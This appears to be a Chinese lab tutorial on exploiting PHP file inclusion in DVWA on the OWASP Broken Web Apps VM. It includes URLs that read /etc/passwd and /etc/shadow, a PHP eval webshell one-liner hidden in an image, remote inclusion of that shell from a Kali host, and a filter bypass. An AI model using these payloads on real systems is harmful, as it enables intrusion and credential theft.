當(dāng)上傳是高安全模式時(shí),我們大可不必非要用上傳滲透實(shí)現(xiàn)對(duì)服務(wù)器的攻擊,我們可以換一種方式。
1.實(shí)驗(yàn)環(huán)境
目標(biāo)靶機(jī):OWASP_Broken_Web_Apps_VM_1.2
下載地址
我們還需要中國(guó)菜刀和kali這兩個(gè)工具,把所有的殺毒軟件關(guān)了,不然中國(guó)菜刀可能會(huì)被殺毒軟件和諧。
實(shí)驗(yàn)原理及危害
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指當(dāng)服務(wù)器開啟allow_url_include選項(xiàng)時(shí),就可
以通過php的某些特性函數(shù)(include(),require()和include_once(),require_once())利用url去動(dòng)態(tài)包含文
件,此時(shí)如果沒有對(duì)文件來源進(jìn)行嚴(yán)格審查,就會(huì)導(dǎo)致任意文件讀取或者任意命令執(zhí)行。文件包含漏洞分為本地文件包
含漏洞與遠(yuǎn)程文件包含漏洞,遠(yuǎn)程文件包含漏洞是因?yàn)殚_啟了php配置中的allow_url_fopen選項(xiàng)(選項(xiàng)開啟之后,服務(wù)
器允許包含一個(gè)遠(yuǎn)程的文件)。服務(wù)器通過php的特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來源過濾不
嚴(yán),從而可以去包含一個(gè)惡意文件,而我們可以構(gòu)造這個(gè)惡意文件來達(dá)到自己的目的。
1. 文件包含(File Inclusion)即程序通過[包含函數(shù)]調(diào)用本地或遠(yuǎn)程文件,以此來實(shí)現(xiàn)拓展功能
2. 被包含的文件可以是各種文件格式,而當(dāng)文件里面包含惡意代碼,則會(huì)形成遠(yuǎn)程命令執(zhí)行或文件上傳漏洞
3. 文件包含漏洞主要發(fā)生在有包含語句的環(huán)境中,例如PHP所具備include、require等包含函數(shù)
文件包含分為兩類:
本地文件包含LFI(Local File Inclusion) 當(dāng)被包含的文件在服務(wù)器本地時(shí),就形成本地文件包含
遠(yuǎn)程文件包含RFI(Remote File Inclusion) 當(dāng)被包含的文件在第三方服務(wù)器時(shí),叫做遠(yuǎn)程文件包含
2.低安全級(jí)別滲透
首先我們需要用虛擬機(jī)打開目標(biāo)靶機(jī),并查看ip地址

root@owaspbwa:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
inet6 fe80::20c:29ff:feb2:daea/64 scope link
valid_lft forever preferred_lft forever
找到ip后,我們打開網(wǎng)頁訪問192.168.13.144




1.本地文件包含
訪問本地系統(tǒng)賬號(hào)信息及其它敏感信息
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
這些都是正常的訪問:

圖片插入一句話工具
因?yàn)樵谏蟼鞲甙踩J较?,我們只能上傳圖片,所以我們可以利用圖片來產(chǎn)生我們需要的小馬文件。
1. 制作一句話圖片木馬
<?fputs(fopen("yjssjm.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
#yjssjm.php 是我們生成的文件里面寫著<?php eval($_POST[yjssjm]);?>
3. 上傳圖片木馬文件
4. 執(zhí)行文件包含并生成后門
5. 通過菜刀連接webshell
提示:
/var/www/dvwa/hackable/uploads #dvwa文件上傳訪問的目錄
/var/www/dvwa/vulnerabilities/fi #dvwa文件包含訪問的目錄 yjssjm.php

這個(gè)時(shí)候我們的圖片以及是帶有木馬的圖片了。



出來這么一堆亂碼,就是成功了。
我們可以去目標(biāo)靶機(jī)OWASP上看一下


地址寫的時(shí)候,將fi后面的全部去掉,換成你生成的小馬的文件名
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php


2.遠(yuǎn)程文件包含
建立遠(yuǎn)程服務(wù)器,這里使用kali作為遠(yuǎn)程服務(wù)器,有條件的小伙伴可以使用云服務(wù)器。
原理特別簡(jiǎn)單,我們只需要在遠(yuǎn)程服務(wù)器上創(chuàng)建小馬文件,使用遠(yuǎn)程文件包含,包含到我們這個(gè)文件就可以了。
打開kali,默認(rèn)用戶名是root,密碼是toor

打開apache
root@kali:~# service apache2 start
root@kali:~# vim /var/www/html/yjssjm.txt #在網(wǎng)站目錄下面創(chuàng)建文件
<?fputs(fopen("yjssjm1.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
訪問一下發(fā)現(xiàn)apache已經(jīng)成功啟動(dòng)



打開中國(guó)菜刀,同樣的操作,這里是yjssjm1.php
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php

同樣能入侵服務(wù)器。
3.中安全級(jí)別的滲透

查看源碼我們發(fā)現(xiàn)增加了遠(yuǎn)程文件包含的安全性

1.本地文件包含
因?yàn)樵创a只是增加了遠(yuǎn)程的安全性,所以我們用上面寫的低安全性滲透的方法就可以實(shí)現(xiàn)了
2.遠(yuǎn)程文件包含
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
==============================================================
我們仔細(xì)看一下這些代碼,其實(shí)就是如果我匹配到了"http://" 這些字符,那么我就將其替換為空字符
同樣如果我匹配到了"https://" 這些字符,那么我就將其替換為空字符
如果我們?cè)偃ピL問下面這個(gè)網(wǎng)址
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
當(dāng)然是什么都訪問不到,因?yàn)樗J(rèn)把我們等號(hào)后面的那個(gè)"http://"去掉了,即
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
這樣我們當(dāng)然會(huì)失敗,所以我們需要多加一個(gè)"http://"
而添加的方法不唯一,下面舉個(gè)例子
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
hthttp://tp:// - http:// = http://
只要執(zhí)行成功,小馬文件生成之后,下面的步驟就跟上面的一樣了。
你們的評(píng)論和點(diǎn)贊是我寫文章的最大動(dòng)力,蟹蟹。